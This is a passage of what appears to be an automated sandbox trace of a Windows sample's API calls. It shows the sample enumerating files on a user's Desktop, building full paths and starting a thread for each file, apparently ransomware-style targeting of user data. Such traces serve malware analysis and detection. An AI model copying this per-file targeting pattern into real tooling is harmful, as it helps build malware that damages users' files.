wcscmp (_String1="HFeGusa6wyYmkE0VxTu.flv", _String2=".") returned 1 [0096.803] wcscmp (_String1="HFeGusa6wyYmkE0VxTu.flv", _String2="..") returned 1 [0096.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b784010 [0096.804] wcscpy (in: _Dest=0x1b784010, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.804] wcscat (in: _Dest=0x1b784010, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.804] wcscat (in: _Dest=0x1b784010, _Source="HFeGusa6wyYmkE0VxTu.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HFeGusa6wyYmkE0VxTu.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HFeGusa6wyYmkE0VxTu.flv" [0096.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfb4 [0096.805] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1adeae0, ftCreationTime.dwHighDateTime=0x1d5de9f, ftLastAccessTime.dwLowDateTime=0x1d36fce0, ftLastAccessTime.dwHighDateTime=0x1d5de5f, ftLastWriteTime.dwLowDateTime=0x1d36fce0, ftLastWriteTime.dwHighDateTime=0x1d5de5f, nFileSizeHigh=0x0, nFileSizeLow=0xf957, dwReserved0=0x0, dwReserved1=0x0, cFileName="HLddvInA_.mkv", cAlternateFileName="HLDDVI~1.MKV")) returned 1 [0096.805] wcscmp (_String1="HLddvInA_.mkv", _String2=".") returned 1 [0096.805] wcscmp (_String1="HLddvInA_.mkv", _String2="..") returned 1 [0096.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b864290 [0096.805] wcscpy (in: _Dest=0x1b864290, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.805] wcscat (in: _Dest=0x1b864290, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.805] wcscat (in: _Dest=0x1b864290, _Source="HLddvInA_.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HLddvInA_.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HLddvInA_.mkv" [0096.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfb8 [0096.806] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3331ea10, ftCreationTime.dwHighDateTime=0x1d5df4e, ftLastAccessTime.dwLowDateTime=0x9dee0750, ftLastAccessTime.dwHighDateTime=0x1d5dfd8, ftLastWriteTime.dwLowDateTime=0x9dee0750, ftLastWriteTime.dwHighDateTime=0x1d5dfd8, nFileSizeHigh=0x0, nFileSizeLow=0x135a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jx050T46ksIa W5Jyp.xlsx", cAlternateFileName="JX050T~1.XLS")) returned 1 [0096.806] wcscmp (_String1="Jx050T46ksIa W5Jyp.xlsx", _String2=".") returned 1 [0096.806] wcscmp (_String1="Jx050T46ksIa W5Jyp.xlsx", _String2="..") returned 1 [0096.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b7841c0 [0096.806] wcscpy (in: _Dest=0x1b7841c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.806] wcscat (in: _Dest=0x1b7841c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.806] wcscat (in: _Dest=0x1b7841c0, _Source="Jx050T46ksIa W5Jyp.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Jx050T46ksIa W5Jyp.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Jx050T46ksIa W5Jyp.xlsx" [0096.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7841c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfbc [0096.807] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36ea490, ftCreationTime.dwHighDateTime=0x1d5e768, ftLastAccessTime.dwLowDateTime=0xe925da90, ftLastAccessTime.dwHighDateTime=0x1d5e190, ftLastWriteTime.dwLowDateTime=0xe925da90, ftLastWriteTime.dwHighDateTime=0x1d5e190, nFileSizeHigh=0x0, nFileSizeLow=0x53e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="M-GLkDdI5x mf83D5MYD.wav", cAlternateFileName="M-GLKD~1.WAV")) returned 1 [0096.807] wcscmp (_String1="M-GLkDdI5x mf83D5MYD.wav", _String2=".") returned 1 [0096.807] wcscmp (_String1="M-GLkDdI5x mf83D5MYD.wav", _String2="..") returned 1 [0096.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b7840a0 [0096.807] wcscpy (in: _Dest=0x1b7840a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.807] wcscat (in: _Dest=0x1b7840a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.807] wcscat (in: _Dest=0x1b7840a0, _Source="M-GLkDdI5x mf83D5MYD.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M-GLkDdI5x mf83D5MYD.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M-GLkDdI5x mf83D5MYD.wav" [0096.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7840a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc0 [0096.808] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc27140e0, ftCreationTime.dwHighDateTime=0x1d5de36, ftLastAccessTime.dwLowDateTime=0xdf7e8c10, ftLastAccessTime.dwHighDateTime=0x1d5dac6, ftLastWriteTime.dwLowDateTime=0xdf7e8c10, ftLastWriteTime.dwHighDateTime=0x1d5dac6, nFileSizeHigh=0x0, nFileSizeLow=0x18238, dwReserved0=0x0, dwReserved1=0x0, cFileName="mqSWI.mkv", cAlternateFileName="")) returned 1 [0096.808] wcscmp (_String1="mqSWI.mkv", _String2=".") returned 1 [0096.808] wcscmp (_String1="mqSWI.mkv", _String2="..") returned 1 [0096.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b864300 [0096.808] wcscpy (in: _Dest=0x1b864300, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.808] wcscat (in: _Dest=0x1b864300, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.808] wcscat (in: _Dest=0x1b864300, _Source="mqSWI.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqSWI.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqSWI.mkv" [0096.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc4 [0096.809] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2173570, ftCreationTime.dwHighDateTime=0x1d5db34, ftLastAccessTime.dwLowDateTime=0xf4059e30, ftLastAccessTime.dwHighDateTime=0x1d5db16, ftLastWriteTime.dwLowDateTime=0xf4059e30, ftLastWriteTime.dwHighDateTime=0x1d5db16, nFileSizeHigh=0x0, nFileSizeLow=0x5154, dwReserved0=0x0, dwReserved1=0x0, cFileName="MqXKRituR3jTd7hh7l.xlsx", cAlternateFileName="MQXKRI~1.XLS")) returned 1 [0096.810] wcscmp (_String1="MqXKRituR3jTd7hh7l.xlsx", _String2=".") returned 1 [0096.810] wcscmp (_String1="MqXKRituR3jTd7hh7l.xlsx", _String2="..") returned 1 [0096.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b784250 [0096.810] wcscpy (in: _Dest=0x1b784250, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.810] wcscat (in: _Dest=0x1b784250, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.810] wcscat (in: _Dest=0x1b784250, _Source="MqXKRituR3jTd7hh7l.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MqXKRituR3jTd7hh7l.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MqXKRituR3jTd7hh7l.xlsx" [0096.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc8 [0096.811] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc9be80, ftCreationTime.dwHighDateTime=0x1d699a5, ftLastAccessTime.dwLowDateTime=0xbcc9be80, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xb8040b00, ftLastWriteTime.dwHighDateTime=0x1d699a3, nFileSizeHigh=0x0, nFileSizeLow=0xe231d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ned2.ps1", cAlternateFileName="")) returned 1 [0096.811] wcscmp (_String1="ned2.ps1", _String2=".") returned 1 [0096.811] wcscmp (_String1="ned2.ps1", _String2="..") returned 1 [0096.811] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe7e180, ftCreationTime.dwHighDateTime=0x1d5dadb, ftLastAccessTime.dwLowDateTime=0xe3b20ef0, ftLastAccessTime.dwHighDateTime=0x1d5e40e, ftLastWriteTime.dwLowDateTime=0xe3b20ef0, ftLastWriteTime.dwHighDateTime=0x1d5e40e, nFileSizeHigh=0x0, nFileSizeLow=0x7821, dwReserved0=0x0, dwReserved1=0x0, cFileName="N_Q2ss.ppt", cAlternateFileName="")) returned 1 [0096.811] wcscmp (_String1="N_Q2ss.ppt", _String2=".") returned 1 [0096.811] wcscmp (_String1="N_Q2ss.ppt", _String2="..") returned 1 [0096.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b864370 [0096.811] wcscpy (in: _Dest=0x1b864370, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.811] wcscat (in: _Dest=0x1b864370, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.811] wcscat (in: _Dest=0x1b864370, _Source="N_Q2ss.ppt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N_Q2ss.ppt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N_Q2ss.ppt" [0096.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfcc [0096.812] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe1cd0, ftCreationTime.dwHighDateTime=0x1d5dcee, ftLastAccessTime.dwLowDateTime=0x24b1fb00, ftLastAccessTime.dwHighDateTime=0x1d5dc61, ftLastWriteTime.dwLowDateTime=0x24b1fb00, ftLastWriteTime.dwHighDateTime=0x1d5dc61, nFileSizeHigh=0x0, nFileSizeLow=0x10d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="P7chKgny.jpg", cAlternateFileName="")) returned 1 [0096.812] wcscmp (_String1="P7chKgny.jpg", _String2=".") returned 1 [0096.812] wcscmp (_String1="P7chKgny.jpg", _String2="..") returned 1 [0096.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b8643e0 [0096.812] wcscpy (in: _Dest=0x1b8643e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.812] wcscat (in: _Dest=0x1b8643e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.812] wcscat (in: _Dest=0x1b8643e0, _Source="P7chKgny.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P7chKgny.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P7chKgny.jpg" [0096.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8643e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd0 [0096.814] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebda6a10, ftCreationTime.dwHighDateTime=0x1d5da7b, ftLastAccessTime.dwLowDateTime=0x4c11b200, ftLastAccessTime.dwHighDateTime=0x1d5e5bf, ftLastWriteTime.dwLowDateTime=0x4c11b200, ftLastWriteTime.dwHighDateTime=0x1d5e5bf, nFileSizeHigh=0x0, nFileSizeLow=0xa325, dwReserved0=0x0, dwReserved1=0x0, cFileName="p__BY.mp4", cAlternateFileName="")) returned 1 [0096.814] wcscmp (_String1="p__BY.mp4", _String2=".") returned 1 [0096.814] wcscmp (_String1="p__BY.mp4", _String2="..") returned 1 [0096.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b864450 [0096.815] wcscpy (in: _Dest=0x1b864450, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.815] wcscat (in: _Dest=0x1b864450, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.815] wcscat (in: _Dest=0x1b864450, _Source="p__BY.mp4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p__BY.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p__BY.mp4" [0096.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd4 [0096.816] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ee5b9a0, ftCreationTime.dwHighDateTime=0x1d5e5be, ftLastAccessTime.dwLowDateTime=0x58aea110, ftLastAccessTime.dwHighDateTime=0x1d5da86, ftLastWriteTime.dwLowDateTime=0x58aea110, ftLastWriteTime.dwHighDateTime=0x1d5da86, nFileSizeHigh=0x0, nFileSizeLow=0x3a49, dwReserved0=0x0, dwReserved1=0x0, cFileName="ryBKxx.m4a", cAlternateFileName="")) returned 1 [0096.816] wcscmp (_String1="ryBKxx.m4a", _String2=".") returned 1 [0096.816] wcscmp (_String1="ryBKxx.m4a", _String2="..") returned 1 [0096.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8644c0 [0096.816] wcscpy (in: _Dest=0x1b8644c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.816] wcscat (in: _Dest=0x1b8644c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.816] wcscat (in: _Dest=0x1b8644c0, _Source="ryBKxx.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ryBKxx.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ryBKxx.m4a" [0096.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8644c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd8 [0096.817] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a9e92e0, ftCreationTime.dwHighDateTime=0x1d5dbd4, ftLastAccessTime.dwLowDateTime=0xef9bde0, ftLastAccessTime.dwHighDateTime=0x1d5de6c, ftLastWriteTime.dwLowDateTime=0xef9bde0, ftLastWriteTime.dwHighDateTime=0x1d5de6c, nFileSizeHigh=0x0, nFileSizeLow=0x3fac, dwReserved0=0x0, dwReserved1=0x0, cFileName="s5wCxq6-km7e1ZD.flv", cAlternateFileName="S5WCXQ~1.FLV")) returned 1 [0096.817] wcscmp (_String1="s5wCxq6-km7e1ZD.flv", _String2=".") returned 1 [0096.817] wcscmp (_String1="s5wCxq6-km7e1ZD.flv", _String2="..") returned 1 [0096.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b867040 [0096.817] wcscpy (in: _Dest=0x1b867040, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.817] wcscat (in: _Dest=0x1b867040, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.817] wcscat (in: _Dest=0x1b867040, _Source="s5wCxq6-km7e1ZD.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\s5wCxq6-km7e1ZD.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\s5wCxq6-km7e1ZD.flv" [0096.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfdc [0096.818] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba6620c0, ftCreationTime.dwHighDateTime=0x1d5e131, ftLastAccessTime.dwLowDateTime=0xf5f10460, ftLastAccessTime.dwHighDateTime=0x1d5e754, ftLastWriteTime.dwLowDateTime=0xf5f10460, ftLastWriteTime.dwHighDateTime=0x1d5e754, nFileSizeHigh=0x0, nFileSizeLow=0x78b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vIna-4_.m4a", cAlternateFileName="")) returned 1 [0096.818] wcscmp (_String1="vIna-4_.m4a", _String2=".") returned 1 [0096.818] wcscmp (_String1="vIna-4_.m4a", _String2="..") returned 1 [0096.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b864530 [0096.818] wcscpy (in: _Dest=0x1b864530, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.818] wcscat (in: _Dest=0x1b864530, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.818] wcscat (in: _Dest=0x1b864530, _Source="vIna-4_.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vIna-4_.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vIna-4_.m4a" [0096.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe0 [0096.819] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca8c7000, ftCreationTime.dwHighDateTime=0x1d5d7ed, ftLastAccessTime.dwLowDateTime=0xdef0f6e0, ftLastAccessTime.dwHighDateTime=0x1d5e1bd, ftLastWriteTime.dwLowDateTime=0xdef0f6e0, ftLastWriteTime.dwHighDateTime=0x1d5e1bd, nFileSizeHigh=0x0, nFileSizeLow=0xd3a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="vx1Ng6n0ciWdEa.swf", cAlternateFileName="VX1NG6~1.SWF")) returned 1 [0096.819] wcscmp (_String1="vx1Ng6n0ciWdEa.swf", _String2=".") returned 1 [0096.819] wcscmp (_String1="vx1Ng6n0ciWdEa.swf", _String2="..") returned 1 [0096.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b866ec0 [0096.819] wcscpy (in: _Dest=0x1b866ec0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.819] wcscat (in: _Dest=0x1b866ec0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.819] wcscat (in: _Dest=0x1b866ec0, _Source="vx1Ng6n0ciWdEa.swf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vx1Ng6n0ciWdEa.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vx1Ng6n0ciWdEa.swf" [0096.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b866ec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe4 [0096.820] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34ec74a0, ftCreationTime.dwHighDateTime=0x1d5dff9, ftLastAccessTime.dwLowDateTime=0x16d64bc0, ftLastAccessTime.dwHighDateTime=0x1d5e568, ftLastWriteTime.dwLowDateTime=0x16d64bc0, ftLastWriteTime.dwHighDateTime=0x1d5e568, nFileSizeHigh=0x0, nFileSizeLow=0x17749, dwReserved0=0x0, dwReserved1=0x0, cFileName="WaBA5Za0Mj1wDVytkD6.odt", cAlternateFileName="WABA5Z~1.ODT")) returned 1 [0096.820] wcscmp (_String1="WaBA5Za0Mj1wDVytkD6.odt", _String2=".") returned 1 [0096.820] wcscmp (_String1="WaBA5Za0Mj1wDVytkD6.odt", _String2="..") returned 1 [0096.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b784130 [0096.821] wcscpy (in: _Dest=0x1b784130, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.821] wcscat (in: _Dest=0x1b784130, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.821] wcscat (in: _Dest=0x1b784130, _Source="WaBA5Za0Mj1wDVytkD6.odt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaBA5Za0Mj1wDVytkD6.odt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaBA5Za0Mj1wDVytkD6.odt" [0096.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe8 [0096.822] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa458bb70, ftCreationTime.dwHighDateTime=0x1d5e24f, ftLastAccessTime.dwLowDateTime=0xf2a32460, ftLastAccessTime.dwHighDateTime=0x1d5e550, ftLastWriteTime.dwLowDateTime=0xf2a32460, ftLastWriteTime.dwHighDateTime=0x1d5e550, nFileSizeHigh=0x0, nFileSizeLow=0x167aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="XhFX9S.m4a", cAlternateFileName="")) returned 1 [0096.822] wcscmp (_String1="XhFX9S.m4a", _String2=".") returned 1 [0096.822] wcscmp (_String1="XhFX9S.m4a", _String2="..") returned 1 [0096.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8645a0 [0096.822] wcscpy (in: _Dest=0x1b8645a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.822] wcscat (in: _Dest=0x1b8645a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.822] wcscat (in: _Dest=0x1b8645a0, _Source="XhFX9S.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS 